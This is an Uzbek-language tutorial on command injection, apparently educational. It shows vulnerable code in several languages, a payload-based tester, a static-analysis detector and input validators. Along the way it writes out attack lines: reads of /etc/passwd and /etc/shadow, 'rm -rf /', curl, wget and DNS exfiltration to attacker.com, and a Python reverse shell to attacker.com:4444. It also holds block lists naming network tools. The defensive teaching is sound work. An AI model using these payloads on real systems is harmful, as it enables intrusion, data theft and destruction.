# Command Injection Hujumlari: Tizim Ichidan Nazoratni Qo'lga Olish — Qanday Himoyalanish va Hujum Qilish? 🔓 > [!NOTE] > **Command Injection** — bu zamonaviy cybersecurity dunyosidagi eng xavfli va keng tarqalgan zaifliklardan biri. Bu maqolada siz ushbu hujum turining chuqur mexanizmlarini, real dunyo misollarini, himoyalanish strategiyalarini va ethical hacking kontekstidagi amaliyotini o'rganasiz. Command Injection hujumlari zamonaviy kibertahdid landshaftida eng xavfli va keng tarqalgan zaifliklardan biri hisoblanadi. Lekin nima uchun bu hujumlar shunchalar samarali va qanday qilib ularga qarshi kurashish mumkin? Ushbu savollarga javob berishdan oldin, keling Command Injection hujumlarining tubiga chuqur kirib ko'raylik. > [!WARNING] > Ushbu maqolada keltirilgan barcha misollar va texnikalar faqat ta'lim va himoya maqsadlarida ishlatilishi kerak. Ruxsatsiz tizimlarga hujum qilish qonuniy javobgarlik va jarimalar bilan tahdid qiladi. ## Command Injection Nima va Qanday Ishlaydi? 🤔 Command Injection — bu veb-ilovalar yoki dasturlarning foydalanuvchi ma'lumotlarini to'g'ridan-to'g'ri operatsion tizim buyruqlarida ishlatishi natijasida yuzaga keladigan zaiflik turi. Bu zaiflik hujumchilarга tizimda o'z buyruqlarini bajarish imkonini beradi. ```mermaid flowchart TD A["Foydalanuvchi kiritgan ma'lumot"] --> B{"Input Validation?"} B -->|"Yo'q"| C["Bevosita OS buyrug'iga uzatiladi"] B -->|"Ha"| D["Filtrlash va validatsiya"] C --> E["Xavfli buyruq bajariladi"] D --> F["Xavfsiz ishlash"] E --> G["Tizim buzilishi - Ma'lumot o'g'irlanishi"] F --> H["Normal ishlash"] ``` Command Injection hujumlari asosan quyidagi ssenariyda amalga oshiriladi: 1. **Zaif Input Handling**: Dastur foydalanuvchi ma'lumotlarini tekshirmasdan to'g'ridan-to'g'ri tizim buyruqlarida ishlatadi 2. **System Call Integration**: Ilovalar tez-tez operatsion tizim buyruqlarini chaqiradi (ping, ls, cat va boshqalar) 3. **Insufficient Validation**: Ma'lumotlar validatsiyasi yo'q yoki zaif 4. **Privilege Escalation**: Bajarilgan buyruqlar yuqori huquqlar bilan ishlaydi ```mermaid flowchart LR A["Web Application"] --> B["User Input"] B --> C{"Validation?"} C -->|"No"| D["Direct OS Command"] C -->|"Yes"| E["Filtered Input"] D --> F["System Compromise"] E --> G["Safe Execution"] style F fill:#ff9999 style G fill:#99ff99 ``` ### Real Dunyo Misoli: Ping Utility Zaiflik Keling oddiy ping utility misolida Command Injection zaifligini ko'rib chiqaylik: ```php " . $output . ""; } ?> ``` Bu kodda hujumchi quyidagicha ma'lumot kiritishi mumkin: ```bash # Normal foydalanish http://example.com/ping.php?host=google.com # Hujum misoli http://example.com/ping.php?host=google.com;cat /etc/passwd ``` > [!IMPORTANT] > Yuqoridagi hujum natijasida hujumchi `ping` buyrug'idan keyin `;` orqali qo'shimcha buyruq qo'shib, tizim fayllarini o'qishi mumkin. ### Qo'shimcha Real World Misollar **Java Spring Boot Application:** ```java @RestController public class NetworkController { // ZAIF KOD - Command Injection ga moyil @GetMapping("/trace") public String traceRoute(@RequestParam String host) throws IOException { Process process = Runtime.getRuntime().exec("traceroute " + host); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); StringBuilder result = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } return result.toString(); } } // Hujum: /trace?host=google.com;wget malicious-script.sh;chmod +x malicious-script.sh;./malicious-script.sh ``` **Node.js Express Application:** ```javascript const express = require('express'); const { exec } = require('child_process'); const app = express(); // ZAIF KOD - Command Injection zaiflik app.get('/system-info', (req, res) => { const command = req.query.cmd; // Xavfli: foydalanuvchi ma'lumoti bevosita ishlatilmoqda exec(`systemctl status ${command}`, (error, stdout, stderr) => { if (error) { res.status(500).send('Error executing command'); return; } res.send(`

${stdout}

`); }); }); // Hujum: /system-info?cmd=apache2; cat /etc/shadow ``` ## Command Injection Turları va Texnikalari 🔧 Command Injection hujumlari turli xil shakllarda namoyon bo'lishi mumkin. Har bir tur o'zining xususiyatlari va qo'llash usullarga ega: ### 1. Classic Command Injection Bu eng oddiy va keng tarqalgan tur bo'lib, foydalanuvchi ma'lumotlari to'g'ridan-to'g'ri shell buyruqlariga uzatiladi: ```python import subprocess import os # Zaif kod def ping_host(host): # Xavfli: foydalanuvchi ma'lumoti bevosita ishlatilmoqda result = os.system(f"ping -c 4 {host}") return result # Hujum misoli # ping_host("google.com; rm -rf /") # Boshqa xavfli misollar def get_file_info(filename): # Xavfli file operations return os.system(f"ls -la {filename}") def backup_database(db_name): # Database backup with injection risk return os.system(f"mysqldump -u root -p {db_name} > backup.sql") # Hujum vektorlari: # get_file_info("test.txt; cat /etc/passwd") # backup_database("mydb; wget attacker.com/malware.sh") ``` ### 2. Blind Command Injection Bu turda hujumchi buyruq natijasini to'g'ridan-to'g'ri ko'rmaydi, lekin buyruqning bajarilganligini boshqa usullar bilan aniqlaydi: ```php /dev/null"); echo "Ping completed!"; ?> ``` Blind injection da hujumchilar quyidagi texnikalardan foydalanadi: > [!TIP] > **Blind Command Injection Detection Texnikalari:** > - **Time-based**: `sleep` yoki `timeout` buyruqlari orqali > - **DNS-based**: DNS so'rovlar orqali ma'lumot chiqarish > - **HTTP requests**: Tashqi serverlarga ma'lumot jo'natish > - **File-based**: Fayllar yaratish va o'qish orqali ```bash # Time-based blind injection host=google.com;sleep 10 # DNS-based blind injection host=google.com;nslookup $(whoami).attacker.com # HTTP-based blind injection host=google.com;curl http://attacker.com/data=$(id) # File-based blind injection host=google.com;echo "compromised" > /tmp/proof.txt ``` **Advanced Blind Injection Misoli:** ```python import time import requests def test_blind_injection(url, param_name, payload): """ Blind Command Injection testing function """ test_payloads = { 'time_based': [ f"; sleep 10 #", f"| sleep 10 #", f"& timeout 10 #", f"$(sleep 10)", f"`sleep 10`" ], 'dns_based': [ f"; nslookup {param_name}.attacker.com #", f"| dig {param_name}.attacker.com #", f"& host {param_name}.attacker.com #" ] } # Time-based testing for payload in test_payloads['time_based']: start_time = time.time() response = requests.post(url, data={param_name: f"legitimate_value{payload}"}) elapsed_time = time.time() - start_time if elapsed_time > 8: # 8+ seconds indicates successful injection print(f"VULNERABLE to time-based injection: {payload}") return True return False ``` ### 3. Semi-blind Command Injection Bu turda hujumchi qisman natijalarni ko'rishi mumkin: ```python def check_service_status(service_name): try: # Xavfli kod result = subprocess.check_output(f"systemctl status {service_name}", shell=True, stderr=subprocess.STDOUT) return "Service is running" if result else "Service stopped" except: return "Error occurred" # Hujumchi foydalanishi mumkin: # service_name = "apache2; whoami" # Advanced semi-blind example def process_log_file(log_file): """ Log file processing with semi-blind injection risk """ try: result = subprocess.run(f"grep ERROR {log_file} | head -10", shell=True, capture_output=True, text=True) if result.stdout: return f"Found errors: {len(result.stdout.split('\n'))}" else: return "No errors found" except Exception as e: return f"Processing failed: {str(e)}" # Semi-blind injection payload: # log_file = "/var/log/app.log; id; echo 'injection successful' #" ``` ## Command Injection ni Qanday Aniqlash va Test Qilish? 🕵️ Zaifliklarni aniqlash uchun systematik yondashuv kerak. Professional penetration testing da quyidagi methodology ishlatiladi: ### Black Box Testing Black box testing da sizda dastur kodiga kirish yo'q, faqat tashqi interfeys orqali test qilasiz: ```python import requests import time import threading import socket class CommandInjectionTester: """ Comprehensive Command Injection testing tool """ def __init__(self, target_url): self.target_url = target_url self.payloads = { 'basic': [ "; sleep 5", "| sleep 5", "&& sleep 5", "$(sleep 5)", "`sleep 5`", "; whoami", "| id", "&& cat /etc/passwd" ], 'advanced': [ "; curl http://attacker.com/$(id)", "| wget -q -O- http://attacker.com/$(whoami)", "&& python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker.com\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" ], 'obfuscated': [ "; $(echo 'c2xlZXAgNQ==' | base64 -d)", # sleep 5 "| ${IFS}cat${IFS}/etc/passwd", "&& c\\a\\t /etc/passwd" ] } def test_parameter(self, param_name, test_type='basic'): """ Specific parameter testing """ vulnerabilities = [] for payload in self.payloads[test_type]: result = self._test_payload(param_name, payload) if result['vulnerable']: vulnerabilities.append({ 'param': param_name, 'payload': payload, 'evidence': result['evidence'] }) return vulnerabilities def _test_payload(self, param_name, payload): """ Individual payload testing """ start_time = time.time() # Test data preparation test_data = {param_name: f"legitimate_input{payload}"} try: response = requests.post(self.target_url, data=test_data, timeout=30) response_time = time.time() - start_time # Time-based detection if "sleep" in payload and response_time > 4: return { 'vulnerable': True, 'evidence': f'Time delay detected: {response_time:.2f}s' } # Content-based detection suspicious_content = ['root:', 'uid=', 'gid=', '/bin/bash', 'www-data'] if any(keyword in response.text.lower() for keyword in suspicious_content): return { 'vulnerable': True, 'evidence': 'Sensitive system information leaked' } # Error-based detection error_indicators = ['sh:', 'bash:', 'command not found', 'permission denied'] if any(error in response.text.lower() for error in error_indicators): return { 'vulnerable': True, 'evidence': 'Command execution errors detected' } except requests.RequestException as e: print(f"Request failed: {e}") return {'vulnerable': False, 'evidence': None} # Advanced testing with DNS callbacks class DNSCallbackTester: """ DNS-based command injection detection """ def __init__(self, callback_domain): self.callback_domain = callback_domain self.received_queries = [] def start_dns_listener(self): """ DNS query listener (simplified) """ def dns_server(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', 53)) while True: data, addr = sock.recvfrom(1024) query = self._parse_dns_query(data) if query: self.received_queries.append(query) print(f"DNS callback received: {query}") thread = threading.Thread(target=dns_server, daemon=True) thread.start() def generate_dns_payload(self, command): """ DNS callback payload generation """ return f"; nslookup $({command}).{self.callback_domain} #" # Usage example tester = CommandInjectionTester("http://vulnerable-app.com/ping") results = tester.test_parameter("host", "basic") if results: print("VULNERABILITIES FOUND:") for vuln in results: print(f"Parameter: {vuln['param']}") print(f"Payload: {vuln['payload']}") print(f"Evidence: {vuln['evidence']}") print("-" * 50) ``` ### White Box Testing (Code Review) Kod tahlili orqali zaifliklarni aniqlash: ```python import ast import re import os class CommandInjectionDetector(ast.NodeVisitor): """ Python kodida Command Injection zaifliklarini qidirish """ dangerous_functions = [ 'os.system', 'os.popen', 'subprocess.call', 'subprocess.run', 'subprocess.Popen', 'eval', 'exec', 'commands.getoutput', 'commands.getstatusoutput' ] shell_true_functions = [ 'subprocess.call', 'subprocess.run', 'subprocess.Popen', 'subprocess.check_call', 'subprocess.check_output' ] def __init__(self): self.vulnerabilities = [] self.current_file = None def analyze_file(self, filepath): """ Fayl tahlili """ self.current_file = filepath try: with open(filepath, 'r', encoding='utf-8') as f: tree = ast.parse(f.read(), filename=filepath) self.visit(tree) except Exception as e: print(f"Error analyzing {filepath}: {e}") def visit_Call(self, node): """ Function call'larni tahlil qilish """ func_name = self.get_function_name(node) if func_name in self.dangerous_functions: risk_level = self._assess_risk_level(node, func_name) self.vulnerabilities.append({ 'file': self.current_file, 'function': func_name, 'line': node.lineno, 'risk': risk_level, 'description': self._get_description(func_name, risk_level) }) # shell=True parameter check if func_name in self.shell_true_functions: if self._has_shell_true(node): self.vulnerabilities.append({ 'file': self.current_file, 'function': func_name, 'line': node.lineno, 'risk': 'MEDIUM', 'description': f'{func_name} with shell=True detected' }) self.generic_visit(node) def get_function_name(self, node): """ Function nomi extraction """ if hasattr(node.func, 'attr'): if hasattr(node.func.value, 'id'): return f"{node.func.value.id}.{node.func.attr}" elif hasattr(node.func, 'id'): return node.func.id return "" def _assess_risk_level(self, node, func_name): """ Risk darajasi baholash """ # F-string yoki concatenation bilan user input for arg in node.args: if self._has_dynamic_content(arg): if func_name in ['os.system', 'eval', 'exec']: return 'CRITICAL' else: return 'HIGH' return 'MEDIUM' def _has_dynamic_content(self, node): """ Dynamic content detection """ return (isinstance(node, ast.JoinedStr) or # f-strings isinstance(node, ast.BinOp) or # concatenation (isinstance(node, ast.Call) and hasattr(node.func, 'attr') and node.func.attr == 'format')) # .format() def _has_shell_true(self, node): """ shell=True parameter detection """ for keyword in node.keywords: if keyword.arg == 'shell' and isinstance(keyword.value, ast.Constant): return keyword.value.value is True return False def _get_description(self, func_name, risk_level): """ Vulnerability description """ descriptions = { 'os.system': 'Direct system command execution', 'eval': 'Dynamic code evaluation', 'exec': 'Dynamic code execution', 'subprocess.call': 'Subprocess command execution' } base_desc = descriptions.get(func_name, 'Potentially unsafe function call') if risk_level == 'CRITICAL': return f"{base_desc} with dynamic user input (CRITICAL RISK)" elif risk_level == 'HIGH': return f"{base_desc} with user-controllable data" else: return base_desc # Directory-wide analysis def analyze_project(project_path): """ Butun loyihani tahlil qilish """ detector = CommandInjectionDetector() for root, dirs, files in os.walk(project_path): # Skip virtual environments and caches dirs[:] = [d for d in dirs if d not in ['venv', 'env', '__pycache__', '.git']] for file in files: if file.endswith('.py'): filepath = os.path.join(root, file) detector.analyze_file(filepath) return detector.vulnerabilities # Generate security report def generate_security_report(vulnerabilities, output_file='security_report.html'): """ HTML security report generation """ html_template = ''' Command Injection Security Report

Command Injection Vulnerabilities Report

Summary

Total vulnerabilities found: {total}

{vulnerability_list} ''' vuln_html = "" for vuln in vulnerabilities: vuln_html += f'''

{vuln['risk']} Risk: {vuln['function']}

File: {vuln['file']}

Line: {vuln['line']}

Description: {vuln['description']}

''' report = html_template.format( total=len(vulnerabilities), vulnerability_list=vuln_html ) with open(output_file, 'w') as f: f.write(report) # Usage vulnerabilities = analyze_project('/path/to/your/project') generate_security_report(vulnerabilities) ``` > [!TIP] > **Automated Security Analysis Tools:** > - **SAST Tools**: Semgrep, CodeQL, Bandit (Python), ESLint (JavaScript) > - **DAST Tools**: OWASP ZAP, Burp Suite, Nessus > - **Container Security**: Clair, Trivy, Aqua Security > - **IDE Plugins**: SonarLint, DeepCode, Snyk ## Zamonaviy Himoya Strategiyalari 🛡️ Command Injection hujumlaridan himoyalanish uchun qatlamli (defense-in-depth) strategiya qo'llash kerak: ### 1. Input Sanitization va Validation Eng muhim himoya qatlami — foydalanuvchi ma'lumotlarini to'g'ri validatsiya qilish: ```python import re import shlex import ipaddress import socket from urllib.parse import urlparse class InputValidator: """ Command Injection dan himoyalovchi input validator """ # Xavfli belgilar ro'yxati DANGEROUS_CHARS = [';', '|', '&', '$', '`', '(', ')', '{', '}', '<', '>', '\n', '\r', '*', '?', '[', ']', '\\'] # Command injection pattern'lari INJECTION_PATTERNS = [ r'(\;|\||\&\&)\s*\w+', # ; command, | command, && command r'\$$[^)]*$', # $(command) r'`[^`]*`', # `command` r'>\s*/\w+', # > file redirect r'<\s*/\w+', # < file input r'(\.\./){2,}', # directory traversal r'(nc|netcat|curl|wget)\s', # network tools r'(rm|del|format)\s', # destructive commands ] # System command keywords SYSTEM_COMMANDS = [ 'rm', 'del', 'format', 'cat', 'type', 'more', 'less', 'grep', 'find', 'ls', 'dir', 'ps', 'kill', 'killall', 'wget', 'curl', 'nc', 'netcat', 'ssh', 'ftp', 'telnet', 'sudo', 'su', 'chmod', 'chown', 'mv', 'cp', 'ln' ] @classmethod def validate_hostname(cls, hostname): """ Hostname formatini validatsiya qilish """ if not hostname or len(hostname) > 255: return False # Empty yoki whitespace-only input if not hostname.strip(): return False # Hostname faqat letters, digits, dots va hyphens if not re.match(r'^[a-zA-Z0-9.-]+$', hostname): return False # Xavfli belgilar tekshiruvi if any(char in hostname for char in cls.DANGEROUS_CHARS): return False # Injection pattern'lar tekshiruvi for pattern in cls.INJECTION_PATTERNS: if re.search(pattern, hostname, re.IGNORECASE): return False # System command keywords hostname_lower = hostname.lower() for cmd in cls.SYSTEM_COMMANDS: if cmd in hostname_lower: return False # Domain name validation try: # Try to resolve as IP ipaddress.ip_address(hostname) return True except ValueError: # Try as hostname if re.match(r'^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$', hostname): return True return False @classmethod def validate_ip_address(cls, ip): """ IP address validation """ try: ipaddress.ip_address(ip) return True except ValueError: return False @classmethod def validate_port(cls, port): """ Port number validation """ try: port_num = int(port) return 1 <= port_num <= 65535 except ValueError: return False @classmethod def validate_filename(cls, filename): """ Safe filename validation """ if not filename or len(filename) > 255: return False # Dangerous path traversal if '..' in filename or filename.startswith('/'): return False # Only alphanumeric, dots, hyphens, underscores if not re.match(r'^[a-zA-Z0-9._-]+$', filename): return False return True @classmethod def sanitize_input(cls, user_input): """ Foydalanuvchi ma'lumotlarini tozalash """ if not user_input: return "" # Type conversion to string sanitized = str(user_input) # Xavfli belgilarni olib tashlash for char in cls.DANGEROUS_CHARS: sanitized = sanitized.replace(char, '') # Control characters removal sanitized = ''.join(char for char in sanitized if ord(char) >= 32) # Length limitation return sanitized[:100] # Advanced validation with whitelisting class WhitelistValidator: """ Whitelist-based validation approach """ ALLOWED_HOSTNAMES = [ 'google.com', 'facebook.com', 'github.com', 'stackoverflow.com', 'python.org' ] ALLOWED_IP_RANGES = [ '8.8.8.0/24', # Google DNS '1.1.1.0/24', # Cloudflare DNS '192.168.0.0/16', # Private networks '10.0.0.0/8', # Private networks '172.16.0.0/12' # Private networks ] @classmethod def is_hostname_allowed(cls, hostname): """ Hostname whitelist checking """ hostname_lower = hostname.lower() # Exact match if hostname_lower in cls.ALLOWED_HOSTNAMES: return True # Subdomain check for allowed in cls.ALLOWED_HOSTNAMES: if hostname_lower.endswith('.' + allowed): return True return False @classmethod def is_ip_allowed(cls, ip): """ IP address range checking """ try: ip_obj = ipaddress.ip_address(ip) for range_str in cls.ALLOWED_IP_RANGES: network = ipaddress.ip_network(range_str) if ip_obj in network: return True except ValueError: return False ```